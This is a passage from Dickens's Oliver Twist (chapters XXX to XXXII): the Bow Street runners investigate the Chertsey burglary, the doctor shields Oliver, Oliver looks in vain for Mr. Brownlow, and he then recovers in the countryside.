to-night, sir?' asked Giles. + +'So-so'; returned the doctor. 'I am afraid you have got yourself +into a scrape there, Mr. Giles.' + +'I hope you don't mean to say, sir,' said Mr. Giles, trembling, +'that he's going to die. If I thought it, I should never be +happy again. I wouldn't cut a boy off: no, not even Brittles +here; not for all the plate in the county, sir.' + +'That's not the point,' said the doctor, mysteriously. 'Mr. +Giles, are you a Protestant?' + +'Yes, sir, I hope so,' faltered Mr. Giles, who had turned very +pale. + +'And what are _you_, boy?' said the doctor, turning sharply upon +Brittles. + +'Lord bless me, sir!' replied Brittles, starting violently; 'I'm +the same as Mr. Giles, sir.' + +'Then tell me this,' said the doctor, 'both of you, both of you! +Are you going to take upon yourselves to swear, that that boy +upstairs is the boy that was put through the little window last +night? Out with it! Come! We are prepared for you!' + +The doctor, who was universally considered one of the +best-tempered creatures on earth, made this demand in such a +dreadful tone of anger, that Giles and Brittles, who were +considerably muddled by ale and excitement, stared at each other +in a state of stupefaction. + +'Pay attention to the reply, constable, will you?' said the +doctor, shaking his forefinger with great solemnity of manner, +and tapping the bridge of his nose with it, to bespeak the +exercise of that worthy's utmost acuteness. 'Something may come +of this before long.' + +The constable looked as wise as he could, and took up his staff +of office: which had been reclining indolently in the +chimney-corner. + +'It's a simple question of identity, you will observe,' said the +doctor. + +'That's what it is, sir,' replied the constable, coughing with +great violence; for he had finished his ale in a hurry, and some +of it had gone the wrong way. + +'Here's the house broken into,' said the doctor, 'and a couple of +men catch one moment's glimpse of a boy, in the midst of +gunpowder smoke, and in all the distraction of alarm and +darkness. Here's a boy comes to that very same house, next +morning, and because he happens to have his arm tied up, these +men lay violent hands upon him--by doing which, they place his +life in great danger--and swear he is the thief. Now, the +question is, whether these men are justified by the fact; if not, +in what situation do they place themselves?' + +The constable nodded profoundly. He said, if that wasn't law, he +would be glad to know what was. + +'I ask you again,' thundered the doctor, 'are you, on your solemn +oaths, able to identify that boy?' + +Brittles looked doubtfully at Mr. Giles; Mr. Giles looked +doubtfully at Brittles; the constable put his hand behind his +ear, to catch the reply; the two women and the tinker leaned +forward to listen; the doctor glanced keenly round; when a ring +was heard at the gate, and at the same moment, the sound of +wheels. + +'It's the runners!' cried Brittles, to all appearance much +relieved. + +'The what?' exclaimed the doctor, aghast in his turn. + +'The Bow Street officers, sir,' replied Brittles, taking up a +candle; 'me and Mr. Giles sent for 'em this morning.' + +'What?' cried the doctor. + +'Yes,' replied Brittles; 'I sent a message up by the coachman, +and I only wonder they weren't here before, sir.' + +'You did, did you? Then confound your--slow coaches down here; +that's all,' said the doctor, walking away. + + + + +CHAPTER XXXI + +INVOLVES A CRITICAL POSITION + +'Who's that?' inquired Brittles, opening the door a little way, +with the chain up, and peeping out, shading the candle with his +hand. + +'Open the door,' replied a man outside; 'it's the officers from +Bow Street, as was sent to to-day.' + +Much comforted by this assurance, Brittles opened the door to its +full width, and confronted a portly man in a great-coat; who +walked in, without saying anything more, and wiped his shoes on +the mat, as coolly as if he lived there. + +'Just send somebody out to relieve my mate, will you, young man?' +said the officer; 'he's in the gig, a-minding the prad. Have you +got a coach 'us here, that you could put it up in, for five or +ten minutes?' + +Brittles replying in the affirmative, and pointing out the +building, the portly man stepped back to the garden-gate, and +helped his companion to put up the gig: while Brittles lighted +them, in a state of great admiration. This done, they returned +to the house, and, being shown into a parlour, took off their +great-coats and hats, and showed like what they were. + +The man who had knocked at the door, was a stout personage of +middle height, aged about fifty: with shiny black hair, cropped +pretty close; half-whiskers, a round face, and sharp eyes. The +other was a red-headed, bony man, in top-boots; with a rather +ill-favoured countenance, and a turned-up sinister-looking nose. + +'Tell your governor that Blathers and Duff is here, will you?' +said the stouter man, smoothing down his hair, and laying a pair +of handcuffs on the table. 'Oh! Good-evening, master. Can I +have a word or two with you in private, if you please?' + +This was addressed to Mr. Losberne, who now made his appearance; +that gentleman, motioning Brittles to retire, brought in the two +ladies, and shut the door. + +'This is the lady of the house,' said Mr. Losberne, motioning +towards Mrs. Maylie. + +Mr. Blathers made a bow. Being desired to sit down, he put his +hat on the floor, and taking a chair, motioned to Duff to do the +same. The latter gentleman, who did not appear quite so much +accustomed to good society, or quite so much at his ease in +it--one of the two--seated himself, after undergoing several +muscular affections of the limbs, and the head of his stick into +his mouth, with some embarrassment. + +'Now, with regard to this here robbery, master,' said Blathers. +'What are the circumstances?' + +Mr. Losberne, who appeared desirous of gaining time, recounted +them at great length, and with much circumlocution. Messrs. +Blathers and Duff looked very knowing meanwhile, and occasionally +exchanged a nod. + +'I can't say, for certain, till I see the work, of course,' said +Blathers; 'but my opinion at once is,--I don't mind committing +myself to that extent,--that this wasn't done by a yokel; eh, +Duff?' + +'Certainly not,' replied Duff. + +'And, translating the word yokel for the benefit of the ladies, I +apprehend your meaning to be, that this attempt was not made by a +countryman?' said Mr. Losberne, with a smile. + +'That's it, master,' replied Blathers. 'This is all about the +robbery, is it?' + +'All,' replied the doctor. + +'Now, what is this, about this here boy that the servants are +a-talking on?' said Blathers. + +'Nothing at all,' replied the doctor. 'One of the frightened +servants chose to take it into his head, that he had something to +do with this attempt to break into the house; but it's nonsense: +sheer absurdity.' + +'Wery easy disposed of, if it is,' remarked Duff. + +'What he says is quite correct,' observed Blathers, nodding his +head in a confirmatory way, and playing carelessly with the +handcuffs, as if they were a pair of castanets. 'Who is the boy? +What account does he give of himself? Where did he come from? +He didn't drop out of the clouds, did he, master?' + +'Of course not,' replied the doctor, with a nervous glance at the +two ladies. 'I know his whole history: but we can talk about +that presently. You would like, first, to see the place where +the thieves made their attempt, I suppose?' + +'Certainly,' rejoined Mr. Blathers. 'We had better inspect the +premises first, and examine the servants afterwards. That's the +usual way of doing business.' + +Lights were then procured; and Messrs. Blathers and Duff, +attended by the native constable, Brittles, Giles, and everybody +else in short, went into the little room at the end of the +passage and looked out at the window; and afterwards went round +by way of the lawn, and looked in at the window; and after that, +had a candle handed out to inspect the shutter with; and after +that, a lantern to trace the footsteps with; and after that, a +pitchfork to poke the bushes with. This done, amidst the +breathless interest of all beholders, they came in again; and Mr. +Giles and Brittles were put through a melodramatic representation +of their share in the previous night's adventures: which they +performed some six times over: contradicting each other, in not +more than one important respect, the first time, and in not more +than a dozen the last. This consummation being arrived at, +Blathers and Duff cleared the room, and held a long council +together, compared with which, for secrecy and solemnity, a +consultation of great doctors on the knottiest point in medicine, +would be mere child's play. + +Meanwhile, the doctor walked up and down the next room in a very +uneasy state; and Mrs. Maylie and Rose looked on, with anxious +faces. + +'Upon my word,' he said, making a halt, after a great number of +very rapid turns, 'I hardly know what to do.' + +'Surely,' said Rose, 'the poor child's story, faithfully repeated +to these men, will be sufficient to exonerate him.' + +'I doubt it, my dear young lady,' said the doctor, shaking his +head. 'I don't think it would exonerate him, either with them, +or with legal functionaries of a higher grade. What is he, after +all, they would say? A runaway. Judged by mere worldly +considerations and probabilities, his story is a very doubtful +one.' + +'You believe it, surely?' interrupted Rose. + +'_I_ believe it, strange as it is; and perhaps I may be an old +fool for doing so,' rejoined the doctor; 'but I don't think it is +exactly the tale for a practical police-officer, nevertheless.' + +'Why not?' demanded Rose. + +'Because, my pretty cross-examiner,' replied the doctor: +'because, viewed with their eyes, there are many ugly points +about it; he can only prove the parts that look ill, and none of +those that look well. Confound the fellows, they _will_ have the +why and the wherefore, and will take nothing for granted. On his +own showing, you see, he has been the companion of thieves for +some time past; he has been carried to a police-officer, on a +charge of picking a gentleman's pocket; he has been taken away, +forcibly, from that gentleman's house, to a place which he cannot +describe or point out, and of the situation of which he has not +the remotest idea. He is brought down to Chertsey, by men who +seem to have taken a violent fancy to him, whether he will or no; +and is put through a window to rob a house; and then, just at the +very moment when he is going to alarm the inmates, and so do the +very thing that would set him all to rights, there rushes into +the way, a blundering dog of a half-bred butler, and shoots him! +As if on purpose to prevent his doing any good for himself! +Don't you see all this?' + +'I see it, of course,' replied Rose, smiling at the doctor's +impetuosity; 'but still I do not see anything in it, to criminate +the poor child.' + +'No,' replied the doctor; 'of course not! Bless the bright eyes +of your sex! They never see, whether for good or bad, more than +one side of any question; and that is, always, the one which +first presents itself to them.' + +Having given vent to this result of experience, the doctor put +his hands into his pockets, and walked up and down the room with +even greater rapidity than before. + +'The more I think of it,' said the doctor, 'the more I see that +it will occasion endless trouble and difficulty if we put these +men in possession of the boy's real story. I am certain it will +not be believed; and even if they can do nothing to him in the +end, still the dragging it forward, and giving publicity to all +the doubts that will be cast upon it, must interfere, materially, +with your benevolent plan of rescuing him from misery.' + +'Oh! what is to be done?' cried Rose. 'Dear, dear! why did they +send for these people?' + +'Why, indeed!' exclaimed Mrs. Maylie. 'I would not have had them +here, for the world.' + +'All I know is,' said Mr. Losberne, at last: sitting down with a +kind of desperate calmness, 'that we must try and carry it off +with a bold face. The object is a good one, and that must be our +excuse. The boy has strong symptoms of fever upon him, and is in +no condition to be talked to any more; that's one comfort. We +must make the best of it; and if bad be the best, it is no fault +of ours. Come in!' + +'Well, master,' said Blathers, entering the room followed by his +colleague, and making the door fast, before he said any more. +'This warn't a put-up thing.' + +'And what the devil's a put-up thing?' demanded the doctor, +impatiently. + +'We call it a put-up robbery, ladies,' said Blathers, turning to +them, as if he pitied their ignorance, but had a contempt for the +doctor's, 'when the servants is in it.' + +'Nobody suspected them, in this case,' said Mrs. Maylie. + +'Wery likely not, ma'am,' replied Blathers; 'but they might have +been in it, for all that.' + +'More likely on that wery account,' said Duff. + +'We find it was a town hand,' said Blathers, continuing his +report; 'for the style of work is first-rate.' + +'Wery pretty indeed it is,' remarked Duff, in an undertone. + +'There was two of 'em in it,' continued Blathers; 'and they had a +boy with 'em; that's plain from the size of the window. That's +all to be said at present. We'll see this lad that you've got +upstairs at once, if you please.' + +'Perhaps they will take something to drink first, Mrs. Maylie?' +said the doctor: his face brightening, as if some new thought had +occurred to him. + +'Oh! to be sure!' exclaimed Rose, eagerly. 'You shall have it +immediately, if you will.' + +'Why, thank you, miss!' said Blathers, drawing his coat-sleeve +across his mouth; 'it's dry work, this sort of duty. Anythink +that's handy, miss; don't put yourself out of the way, on our +accounts.' + +'What shall it be?' asked the doctor, following the young lady to +the sideboard. + +'A little drop of spirits, master, if it's all the same,' replied +Blathers. 'It's a cold ride from London, ma'am; and I always +find that spirits comes home warmer to the feelings.' + +This interesting communication was addressed to Mrs. Maylie, who +received it very graciously. While it was being conveyed to her, +the doctor slipped out of the room. + +'Ah!' said Mr. Blathers: not holding his wine-glass by the stem, +but grasping the bottom between the thumb and forefinger of his +left hand: and placing it in front of his chest; 'I have seen a +good many pieces of business like this, in my time, ladies.' + +'That crack down in the back lane at Edmonton, Blathers,' said +Mr. Duff, assisting his colleague's memory. + +'That was something in this way, warn't it?' rejoined Mr. +Blathers; 'that was done by Conkey Chickweed, that was.' + +'You always gave that to him' replied Duff. 'It was the Family +Pet, I tell you. Conkey hadn't any more to do with it than I +had.' + +'Get out!' retorted Mr. Blathers; 'I know better. Do you mind +that time when Conkey was robbed of his money, though? What a +start that was! Better than any novel-book _I_ ever see!' + +'What was that?' inquired Rose: anxious to encourage any +symptoms of good-humour in the unwelcome visitors. + +'It was a robbery, miss, that hardly anybody would have been down +upon,' said Blathers. 'This here Conkey Chickweed--' + +'Conkey means Nosey, ma'am,' interposed Duff. + +'Of course the lady knows that, don't she?' demanded Mr. +Blathers. 'Always interrupting, you are, partner! This here +Conkey Chickweed, miss, kept a public-house over Battlebridge +way, and he had a cellar, where a good many young lords went to +see cock-fighting, and badger-drawing, and that; and a wery +intellectual manner the sports was conducted in, for I've seen +'em off'en. He warn't one of the family, at that time; and one +night he was robbed of three hundred and twenty-seven guineas in +a canvas bag, that was stole out of his bedroom in the dead of +night, by a tall man with a black patch over his eye, who had +concealed himself under the bed, and after committing the +robbery, jumped slap out of window: which was only a story high. +He was wery quick about it. But Conkey was quick, too; for he +fired a blunderbuss arter him, and roused the neighbourhood. They +set up a hue-and-cry, directly, and when they came to look about +'em, found that Conkey had hit the robber; for there was traces +of blood, all the way to some palings a good distance off; and +there they lost 'em. However, he had made off with the blunt; +and, consequently, the name of Mr. Chickweed, licensed witler, +appeared in the Gazette among the other bankrupts; and all manner +of benefits and subscriptions, and I don't know what all, was got +up for the poor man, who was in a wery low state of mind about +his loss, and went up and down the streets, for three or four +days, a pulling his hair off in such a desperate manner that many +people was afraid he might be going to make away with himself. +One day he came up to the office, all in a hurry, and had a +private interview with the magistrate, who, after a deal of talk, +rings the bell, and orders Jem Spyers in (Jem was a active +officer), and tells him to go and assist Mr. Chickweed in +apprehending the man as robbed his house. "I see him, Spyers," +said Chickweed, "pass my house yesterday morning," "Why didn't +you up, and collar him!" says Spyers. "I was so struck all of a +heap, that you might have fractured my skull with a toothpick," +says the poor man; "but we're sure to have him; for between ten +and eleven o'clock at night he passed again." Spyers no sooner +heard this, than he put some clean linen and a comb, in his +pocket, in case he should have to stop a day or two; and away he +goes, and sets himself down at one of the public-house windows +behind the little red curtain, with his hat on, all ready to bolt +out, at a moment's notice. He was smoking his pipe here, late at +night, when all of a sudden Chickweed roars out, "Here he is! +Stop thief! Murder!" Jem Spyers dashes out; and there he sees +Chickweed, a-tearing down the street full cry. Away goes Spyers; +on goes Chickweed; round turns the people; everybody roars out, +"Thieves!" and Chickweed himself keeps on shouting, all the time, +like mad. Spyers loses sight of him a minute as he turns a +corner; shoots round; sees a little crowd; dives in; "Which is +the man?" "D--me!" says Chickweed, "I've lost him again!" It +was a remarkable occurrence, but he warn't to be seen nowhere, so +they went back to the public-house. Next morning, Spyers took his +old place, and looked out, from behind the curtain, for a tall +man with a black patch over his eye, till his own two eyes ached +again. At last, he couldn't help shutting 'em, to ease 'em a +minute; and the very moment he did so, he hears Chickweed +a-roaring out, "Here he is!" Off he starts once more, with +Chickweed half-way down the street ahead of him; and after twice +as long a run as the yesterday's one, the man's lost again! This +was done, once or twice more, till one-half the neighbours gave +out that Mr. Chickweed had been robbed by the devil, who was +playing tricks with him arterwards; and the other half, that poor +Mr. Chickweed had gone mad with grief.' + +'What did Jem Spyers say?' inquired the doctor; who had returned +to the room shortly after the commencement of the story. + +'Jem Spyers,' resumed the officer, 'for a long time said nothing +at all, and listened to everything without seeming to, which +showed he understood his business. But, one morning, he walked +into the bar, and taking out his snuffbox, says "Chickweed, I've +found out who done this here robbery." "Have you?" said +Chickweed. "Oh, my dear Spyers, only let me have wengeance, and +I shall die contented! Oh, my dear Spyers, where is the +villain!" "Come!" said Spyers, offering him a pinch of snuff, +"none of that gammon! You did it yourself." So he had; and a +good bit of money he had made by it, too; and nobody would never +have found it out, if he hadn't been so precious anxious to keep +up appearances!' said Mr. Blathers, putting down his wine-glass, +and clinking the handcuffs together. + +'Very curious, indeed,' observed the doctor. 'Now, if you +please, you can walk upstairs.' + +'If _you_ please, sir,' returned Mr. Blathers. Closely following +Mr. Losberne, the two officers ascended to Oliver's bedroom; Mr. +Giles preceding the party, with a lighted candle. + +Oliver had been dozing; but looked worse, and was more feverish +than he had appeared yet. Being assisted by the doctor, he +managed to sit up in bed for a minute or so; and looked at the +strangers without at all understanding what was going forward--in +fact, without seeming to recollect where he was, or what had been +passing. + +'This,' said Mr. Losberne, speaking softly, but with great +vehemence notwithstanding, 'this is the lad, who, being +accidently wounded by a spring-gun in some boyish trespass on Mr. +What-d' ye-call-him's grounds, at the back here, comes to the +house for assistance this morning, and is immediately laid hold +of and maltreated, by that ingenious gentleman with the candle in +his hand: who has placed his life in considerable danger, as I +can professionally certify.' + +Messrs. Blathers and Duff looked at Mr. Giles, as he was thus +recommended to their notice. The bewildered butler gazed from +them towards Oliver, and from Oliver towards Mr. Losberne, with a +most ludicrous mixture of fear and perplexity. + +'You don't mean to deny that, I suppose?' said the doctor, laying +Oliver gently down again. + +'It was all done for the--for the best, sir,' answered Giles. 'I +am sure I thought it was the boy, or I wouldn't have meddled with +him. I am not of an inhuman disposition, sir.' + +'Thought it was what boy?' inquired the senior officer. + +'The housebreaker's boy, sir!' replied Giles. 'They--they +certainly had a boy.' + +'Well? Do you think so now?' inquired Blathers. + +'Think what, now?' replied Giles, looking vacantly at his +questioner. + +'Think it's the same boy, Stupid-head?' rejoined Blathers, +impatiently. + +'I don't know; I really don't know,' said Giles, with a rueful +countenance. 'I couldn't swear to him.' + +'What do you think?' asked Mr. Blathers. + +'I don't know what to think,' replied poor Giles. 'I don't think +it is the boy; indeed, I'm almost certain that it isn't. You +know it can't be.' + +'Has this man been a-drinking, sir?' inquired Blathers, turning +to the doctor. + +'What a precious muddle-headed chap you are!' said Duff, +addressing Mr. Giles, with supreme contempt. + +Mr. Losberne had been feeling the patient's pulse during this +short dialogue; but he now rose from the chair by the bedside, +and remarked, that if the officers had any doubts upon the +subject, they would perhaps like to step into the next room, and +have Brittles before them. + +Acting upon this suggestion, they adjourned to a neighbouring +apartment, where Mr. Brittles, being called in, involved himself +and his respected superior in such a wonderful maze of fresh +contradictions and impossibilities, as tended to throw no +particular light on anything, but the fact of his own strong +mystification; except, indeed, his declarations that he shouldn't +know the real boy, if he were put before him that instant; that +he had only taken Oliver to be he, because Mr. Giles had said he +was; and that Mr. Giles had, five minutes previously, admitted in +the kitchen, that he began to be very much afraid he had been a +little too hasty. + +Among other ingenious surmises, the question was then raised, +whether Mr. Giles had really hit anybody; and upon examination of +the fellow pistol to that which he had fired, it turned out to +have no more destructive loading than gunpowder and brown paper: +a discovery which made a considerable impression on everybody but +the doctor, who had drawn the ball about ten minutes before. +Upon no one, however, did it make a greater impression than on +Mr. Giles himself; who, after labouring, for some hours, under +the fear of having mortally wounded a fellow-creature, eagerly +caught at this new idea, and favoured it to the utmost. Finally, +the officers, without troubling themselves very much about +Oliver, left the Chertsey constable in the house, and took up +their rest for that night in the town; promising to return the +next morning. + +With the next morning, there came a rumour, that two men and a +boy were in the cage at Kingston, who had been apprehended over +night under suspicious circumstances; and to Kingston Messrs. +Blathers and Duff journeyed accordingly. The suspicious +circumstances, however, resolving themselves, on investigation, +into the one fact, that they had been discovered sleeping under a +haystack; which, although a great crime, is only punishable by +imprisonment, and is, in the merciful eye of the English law, and +its comprehensive love of all the King's subjects, held to be no +satisfactory proof, in the absence of all other evidence, that +the sleeper, or sleepers, have committed burglary accompanied +with violence, and have therefore rendered themselves liable to +the punishment of death; Messrs. Blathers and Duff came back +again, as wise as they went. + +In short, after some more examination, and a great deal more +conversation, a neighbouring magistrate was readily induced to +take the joint bail of Mrs. Maylie and Mr. Losberne for Oliver's +appearance if he should ever be called upon; and Blathers and +Duff, being rewarded with a couple of guineas, returned to town +with divided opinions on the subject of their expedition: the +latter gentleman on a mature consideration of all the +circumstances, inclining to the belief that the burglarious +attempt had originated with the Family Pet; and the former being +equally disposed to concede the full merit of it to the great Mr. +Conkey Chickweed. + +Meanwhile, Oliver gradually throve and prospered under the united +care of Mrs. Maylie, Rose, and the kind-hearted Mr. Losberne. If +fervent prayers, gushing from hearts overcharged with gratitude, +be heard in heaven--and if they be not, what prayers are!--the +blessings which the orphan child called down upon them, sunk into +their souls, diffusing peace and happiness. + + + + +CHAPTER XXXII + +OF THE HAPPY LIFE OLIVER BEGAN TO LEAD WITH HIS KIND FRIENDS + +Oliver's ailings were neither slight nor few. In addition to the +pain and delay attendant on a broken limb, his exposure to the +wet and cold had brought on fever and ague: which hung about him +for many weeks, and reduced him sadly. But, at length, he began, +by slow degrees, to get better, and to be able to say sometimes, +in a few tearful words, how deeply he felt the goodness of the +two sweet ladies, and how ardently he hoped that when he grew +strong and well again, he could do something to show his +gratitude; only something, which would let them see the love and +duty with which his breast was full; something, however slight, +which would prove to them that their gentle kindness had not been +cast away; but that the poor boy whom their charity had rescued +from misery, or death, was eager to serve them with his whole +heart and soul. + +'Poor fellow!' said Rose, when Oliver had been one day feebly +endeavouring to utter the words of thankfulness that rose to his +pale lips; 'you shall have many opportunities of serving us, if +you will. We are going into the country, and my aunt intends +that you shall accompany us. The quiet place, the pure air, and +all the pleasure and beauties of spring, will restore you in a +few days. We will employ you in a hundred ways, when you can +bear the trouble.' + +'The trouble!' cried Oliver. 'Oh! dear lady, if I could but work +for you; if I could only give you pleasure by watering your +flowers, or watching your birds, or running up and down the whole +day long, to make you happy; what would I give to do it!' + +'You shall give nothing at all,' said Miss Maylie, smiling; 'for, +as I told you before, we shall employ you in a hundred ways; and +if you only take half the trouble to please us, that you promise +now, you will make me very happy indeed.' + +'Happy, ma'am!' cried Oliver; 'how kind of you to say so!' + +'You will make me happier than I can tell you,' replied the young +lady. 'To think that my dear good aunt should have been the +means of rescuing any one from such sad misery as you have +described to us, would be an unspeakable pleasure to me; but to +know that the object of her goodness and compassion was sincerely +grateful and attached, in consequence, would delight me, more +than you can well imagine. Do you understand me?' she inquired, +watching Oliver's thoughtful face. + +'Oh yes, ma'am, yes!' replied Oliver eagerly; 'but I was thinking +that I am ungrateful now.' + +'To whom?' inquired the young lady. + +'To the kind gentleman, and the dear old nurse, who took so much +care of me before,' rejoined Oliver. 'If they knew how happy I +am, they would be pleased, I am sure.' + +'I am sure they would,' rejoined Oliver's benefactress; 'and Mr. +Losberne has already been kind enough to promise that when you +are well enough to bear the journey, he will carry you to see +them.' + +'Has he, ma'am?' cried Oliver, his face brightening with +pleasure. 'I don't know what I shall do for joy when I see their +kind faces once again!' + +In a short time Oliver was sufficiently recovered to undergo the +fatigue of this expedition. One morning he and Mr. Losberne set +out, accordingly, in a little carriage which belonged to Mrs. +Maylie. When they came to Chertsey Bridge, Oliver turned very +pale, and uttered a loud exclamation. + +'What's the matter with the boy?' cried the doctor, as usual, all +in a bustle. 'Do you see anything--hear anything--feel +anything--eh?' + +'That, sir,' cried Oliver, pointing out of the carriage window. +'That house!' + +'Yes; well, what of it? Stop coachman. Pull up here,' cried the +doctor. 'What of the house, my man; eh?' + +'The thieves--the house they took me to!' whispered Oliver. + +'The devil it is!' cried the doctor. 'Hallo, there! let me out!' + +But, before the coachman could dismount from his box, he had +tumbled out of the coach, by some means or other; and, running +down to the deserted tenement, began kicking at the door like a +madman. + +'Halloa?' said a little ugly hump-backed man: opening the door +so suddenly, that the doctor, from the very impetus of his last +kick, nearly fell forward into the passage. 'What's the matter +here?' + +'Matter!' exclaimed the other, collaring him, without a moment's +reflection. 'A good deal. Robbery is the matter.' + +'There'll be Murder the matter, too,' replied the hump-backed +man, coolly, 'if you don't take your hands off. Do you hear me?' + +'I hear you,' said the doctor, giving his captive a hearty shake. + +'Where's--confound the fellow, what's his rascally name--Sikes; +that's it. Where's Sikes, you thief?' + +The hump-backed man stared, as if in excess of amazement and +indignation; then, twisting himself, dexterously, from the +doctor's grasp, growled forth a volley of horrid oaths, and +retired into the house. Before he could shut the door, however, +the doctor had passed into the parlour, without a word of parley. + +He looked anxiously round; not an article of furniture; not a +vestige of anything, animate or inanimate; not even the position +of the cupboards; answered Oliver's description! + +'Now!' said the hump-backed man, who had watched him keenly, +'what do you mean by coming into my house, in this violent way? +Do you want to rob me, or to murder me? Which is it?' + +'Did you ever know a man come out to do either, in a chariot and +pair, you ridiculous old vampire?' said the irritable doctor. + +'What do you want, then?' demanded the hunchback. 'Will you take +yourself off, before I do you a mischief? Curse you!' + +'As soon as I think proper,' said Mr. Losberne, looking into the +other parlour; which, like the first, bore no resemblance +whatever to Oliver's account of it. 'I shall find you out, some +day, my friend.' + +'Will you?' sneered the ill-favoured cripple. 'If you ever want +me, I'm here. I haven't lived here mad and all alone, for +five-and-twenty years, to be scared by you. You shall pay for +this; you shall pay for this.' And so saying, the mis-shapen +little demon set up a yell, and danced upon the ground, as if +wild with rage. + +'Stupid enough, this,' muttered the doctor to himself; 'the boy +must have made a mistake. Here! Put that in your pocket, and +shut yourself up again.' With these words he flung the hunchback +a piece of money, and returned to the carriage. + +The man followed to the chariot door, uttering the wildest +imprecations and curses all the way; but as Mr. Losberne turned +to speak to the driver, he looked into the carriage, and eyed +Oliver for an instant with a glance so sharp and fierce and at +the same time so furious and vindictive, that, waking or +sleeping, he could not forget it for months afterwards. He +continued to utter the most fearful imprecations, until the +driver had resumed his seat; and when they were once more on +their way, they could see him some distance behind: beating his +feet upon the ground, and tearing his hair, in transports of real +or pretended rage. + +'I am an ass!' said the doctor, after a long silence. 'Did you +know that before, Oliver?' + +'No, sir.' + +'Then don't forget it another time.' + +'An ass,' said the doctor again, after a further silence of some +minutes. 'Even if it had been the right place, and the right +fellows had been there, what could I have done, single-handed? +And if I had had assistance, I see no good that I should have +done, except leading to my own exposure, and an unavoidable +statement of the manner in which I have hushed up this business. +That would have served me right, though. I am always involving +myself in some scrape or other, by acting on impulse. It might +have done me good.' + +Now, the fact was that the excellent doctor had never acted upon +anything but impulse all through his life, and it was no bad +compliment to the nature of the impulses which governed him, that +so far from being involved in any peculiar troubles or +misfortunes, he had the warmest respect and esteem of all who +knew him. If the truth must be told, he was a little out of +temper, for a minute or two, at being disappointed in procuring +corroborative evidence of Oliver's story on the very first +occasion on which he had a chance of obtaining any. He soon came +round again, however; and finding that Oliver's replies to his +questions, were still as straightforward and consistent, and +still delivered with as much apparent sincerity and truth, as +they had ever been, he made up his mind to attach full credence +to them, from that time forth. + +As Oliver knew the name of the street in which Mr. Brownlow +resided, they were enabled to drive straight thither. When the +coach turned into it, his heart beat so violently, that he could +scarcely draw his breath. + +'Now, my boy, which house is it?' inquired Mr. Losberne. + +'That! That!' replied Oliver, pointing eagerly out of the +window. 'The white house. Oh! make haste! Pray make haste! I +feel as if I should die: it makes me tremble so.' + +'Come, come!' said the good doctor, patting him on the shoulder. +'You will see them directly, and they will be overjoyed to find +you safe and well.' + +'Oh! I hope so!' cried Oliver. 'They were so good to me; so +very, very good to me.' + +The coach rolled on. It stopped. No; that was the wrong house; +the next door. It went on a few paces, and stopped again. +Oliver looked up at the windows, with tears of happy expectation +coursing down his face. + +Alas! the white house was empty, and there was a bill in the +window. 'To Let.' + +'Knock at the next door,' cried Mr. Losberne, taking Oliver's arm +in his. 'What has become of Mr. Brownlow, who used to live in +the adjoining house, do you know?' + +The servant did not know; but would go and inquire. She +presently returned, and said, that Mr. Brownlow had sold off his +goods, and gone to the West Indies, six weeks before. Oliver +clasped his hands, and sank feebly backward. + +'Has his housekeeper gone too?' inquired Mr. Losberne, after a +moment's pause. + +'Yes, sir'; replied the servant. 'The old gentleman, the +housekeeper, and a gentleman who was a friend of Mr. Brownlow's, +all went together.' + +'Then turn towards home again,' said Mr. Losberne to the driver; +'and don't stop to bait the horses, till you get out of this +confounded London!' + +'The book-stall keeper, sir?' said Oliver. 'I know the way +there. See him, pray, sir! Do see him!' + +'My poor boy, this is disappointment enough for one day,' said +the doctor. 'Quite enough for both of us. If we go to the +book-stall keeper's, we shall certainly find that he is dead, or +has set his house on fire, or run away. No; home again +straight!' And in obedience to the doctor's impulse, home they +went. + +This bitter disappointment caused Oliver much sorrow and grief, +even in the midst of his happiness; for he had pleased himself, +many times during his illness, with thinking of all that Mr. +Brownlow and Mrs. Bedwin would say to him: and what delight it +would be to tell them how many long days and nights he had passed +in reflecting on what they had done for him, and in bewailing his +cruel separation from them. The hope of eventually clearing +himself with them, too, and explaining how he had been forced +away, had buoyed him up, and sustained him, under many of his +recent trials; and now, the idea that they should have gone so +far, and carried with them the belief that he was an impostor +and a robber--a belief which might remain uncontradicted to his +dying day--was almost more than he could bear. + +The circumstance occasioned no alteration, however, in the +behaviour of his benefactors. After another fortnight, when the +fine warm weather had fairly begun, and every tree and flower was +putting forth its young leaves and rich blossoms, they made +preparations for quitting the house at Chertsey, for some months. + +Sending the plate, which had so excited Fagin's cupidity, to the +banker's; and leaving Giles and another servant in care of the +house, they departed to a cottage at some distance in the +country, and took Oliver with them. + +Who can describe the pleasure and delight, the peace of mind and +soft tranquillity, the sickly boy felt in the balmy air, and +among the green hills and rich woods, of an inland village! Who +can tell how scenes of peace and quietude sink into the minds of +pain-worn dwellers in close and noisy places, and carry their own +freshness, deep into their jaded hearts! Men who have lived in +crowded, pent-up streets, through lives of toil, and who have +never wished for change; men, to whom custom has indeed been +second nature, and who have come almost to love each brick and +stone that formed the narrow boundaries of their daily walks; +even they, with the hand of death upon them, have been known to +yearn at last for one short glimpse of Nature's face; and, +carried far from the scenes of their old pains and pleasures, +have seemed to pass at once into a new state of being. Crawling +forth, from day to day, to some green sunny spot, they have had +such memories wakened up within them by the sight of the sky, and +hill and plain, and glistening water, that a foretaste of heaven +itself has soothed their quick decline, and they have sunk into +their tombs, as peacefully as the sun whose setting they watched +from their lonely chamber window but a few hours before, faded +from their dim and feeble sight! The memories which peaceful +country scenes call up, are not of this world, nor of its +thoughts and hopes. Their gentle influence may teach us how to +weave fresh garlands for the graves of those we loved: may +purify our thoughts, and bear down before it old enmity and +hatred; but beneath all this, there lingers, in the least +reflective mind, a vague and half-formed consciousness of having +held such feelings long before, in some remote and distant time, +which calls up solemn thoughts of distant times to come, and +bends down pride and worldliness beneath it. + +It was a lovely spot to which they repaired. Oliver, whose days +had been spent among squalid crowds, and in the midst of noise +and brawling, seemed to enter on a new existence there. The rose +and honeysuckle clung to the cottage walls; the ivy crept round +the trunks of the trees; and the garden-flowers perfumed the air +with delicious odours. Hard by, was a little churchyard; not +crowded with tall unsightly gravestones, but full of humble +mounds, covered with fresh turf and moss: beneath which, the old +people of the village lay at rest. Oliver often wandered here; +and, thinking of the wretched grave in which his mother lay, +would sometimes sit him down and sob unseen; but, when he raised +his eyes to the deep sky overhead, he would cease to think of her +as lying in the ground, and would weep for her, sadly, but +without pain. + +It was a happy time. The days were peaceful and serene; the +nights brought with them neither fear nor care; no languishing in +a wretched prison, or associating with wretched men; nothing but +pleasant and happy thoughts. Every morning he went to a +white-headed old gentleman, who lived near the little church: +who taught him to read better, and to write: and who spoke so +kindly, and took such pains, that Oliver could never try enough +to please him. Then, he would walk with Mrs. Maylie and Rose, +and hear them talk of books; or 